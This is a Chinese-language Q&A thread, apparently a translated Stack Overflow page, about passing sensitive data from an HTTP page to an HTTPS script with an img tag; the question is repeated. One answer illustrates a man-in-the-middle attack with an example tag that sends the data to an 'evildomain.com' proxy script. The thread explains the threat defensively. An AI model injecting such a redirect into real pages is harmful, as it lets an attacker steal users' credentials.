我有一个服务器脚本,我需要从浏览器传递数据而不重新加载页面(又名 ajax)。数据是敏感的,所以应该通过 https 发送。然而,该页面位于 http 层上。由于相同的域/协议限制,浏览器不允许这样做。
我正在考虑通过动态创建图像标签并使用 src 标签调用脚本来欺骗系统,例如:
<img src="https://mydomain.com/mysecurescript/&data=to&pass=to&my=script" />
我想知道这是否确实会被正确加密。
我有一个服务器脚本,我需要从浏览器传递数据而不重新加载页面(又名 ajax)。数据是敏感的,所以应该通过 https 发送。然而,该页面位于 http 层上。由于相同的域/协议限制,浏览器不允许这样做。
我正在考虑通过动态创建图像标签并使用 src 标签调用脚本来欺骗系统,例如:
<img src="https://mydomain.com/mysecurescript/&data=to&pass=to&my=script" />
我想知道这是否确实会被正确加密。
这样做的问题是,如果页面本身只是 HTTP,那么您很容易受到中间人攻击。攻击者只需修改通过 HTTP 发送的页面中的脚本,以便它使用:
<img src="http://evildomain.com/evilproxyscript/&data=to&pass=to&my=script" />
用户将不明智。为了解决这个问题,你真的需要通过 HTTPS 提供页面——这同时巧妙地解决了你的其他问题。
(这与登录表单应该在 HTTPS 页面上的原因完全相同,而不仅仅是表单操作是 HTTPS)。
是和不是。
URL 的服务器地址部分显然没有加密,因为它用于建立连接。
其他所有内容在通过 HTTPS 连接发送时都是加密的。但是任何查看源代码的人显然都能够看到发布的数据。
还值得一提的是,某些浏览器不会显示(或在显示前警告用户)混合模式(http 与 https)HTML 页面。在某些情况下,这可能不起作用,因为用户选择阻止它。
图像技术的一种可能替代方案(正如其他人所提到的,其缺点是某些浏览器不会善意地处理混合模式内容)将由aSSL。
任何一种方法都会导致加密发生,并且两者仍然容易受到中间人攻击。